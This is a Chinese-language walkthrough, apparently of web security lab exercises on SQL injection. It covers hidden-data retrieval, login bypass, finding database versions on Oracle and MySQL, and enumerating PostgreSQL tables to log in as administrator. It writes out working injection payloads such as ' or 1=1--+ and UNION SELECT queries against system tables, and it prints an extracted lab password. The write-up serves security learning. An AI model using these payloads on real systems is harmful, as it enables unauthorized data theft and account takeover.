1.SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
网页提示网站的sql语句是这样

找到注入点为url

根据给的查询语句构造payload
' and released=0--

完成题目需要找到未上架商品
或者使用payload也可以找到所有商品包括未上架的
' or 1=1--+

2.SQL injection vulnerability allowing login bypass
题目叫我们以管理员的身份登录应用程序

在页面右上角发现my account,点击后发现出现登录界面

密码输入单引号时发现报错,应该是有做过滤或者确实存在sql注入
尝试使用万能密码登录

登录成功

但是经过尝试后面的注释符用“#”就是不行,可能是这个数据库不支持#作为注释符或者是#因为某种限制或者过滤没有正确传输到sql语句中
3.SQL injection attack, querying the database type and version on Oracle
这题的数据库是Oracle
想要查找数据库的版本信息,可以使用union注入
首先判断回显列数,在order by 2时发现回显成功,3时失败,说明回显列数为2

Oracle数据库查看版本信息的语句是select banner from v$version
同时也要注意在对Oracle数据库注入中,union的占位通常使用NULL不使用数字,使用数字可能发生错误,因为其要求要和union前面查询的字段类型的类型一致,所以大多使用NULL
Oracle数据库有个特点,就是每个查询语句后面都要跟一个表,所以就出现了一个表叫做dual,这个表主要用于当我们执行函数或者做一些计算时不用查询某个表的情况下使用,这时候我们就可以from dual这个表来让我们的查询语句后面有个表跟着,这里的注入也需要利用这个表
那么我们可以构造payload为
a'union select null,banner from v$version--+
输入后成功拿下

4.SQL injection attack, querying the database type and version on MySQL and Microsoft
注入点一样,同样判断出回显列数为2

查询操作系统发行版的sql语句是select @@version;
那么我们就可以构造payload为
a'union select 1,@@version--+

5.SQL injection attack, listing the database contents on non-Oracle databases
本关要求我们得到一个保存用户名和密码的表并用管理员账号登录
在使用union注入时,数字1和2不起效果,应该不是sql数据库
使用语句 g‘union select ’null‘,banner from v$version--+报错,说明也不是Oracle数据库
使用语句g'union select 'null',version()--成功,说明是PostgreSQL数据库
相较于mysql的SQL注入
查数据库名
select database等于select current_database()/current_catalog
查表名
select table_name from information_schema.tables where table_schema='xxx'等于
select relname from pg_stat_user_tables
查列名
和mysql数据库基本一样
select column_name from information_schema.columns where table_name='xxx'
查数据
也和mysql数据库基本一样
select 列 from 表
爆数据库名
使用payload
g'union select 'null',current_database()--+
爆表名
使用payload
a' union select 'null',relname from pg_stat_user_tables--+

爆列名
使用payload
a' union select 'null',column_name from information_schema.columns where table_name='users_zaxmws'--+

爆数据
使用payload
a' union select 'null',password_qtogxw from users_zaxmws--

在使用第二个密码zpig65lblzxvx8jddoi4时成功登录管理员账户
6497

被折叠的 条评论
为什么被折叠?



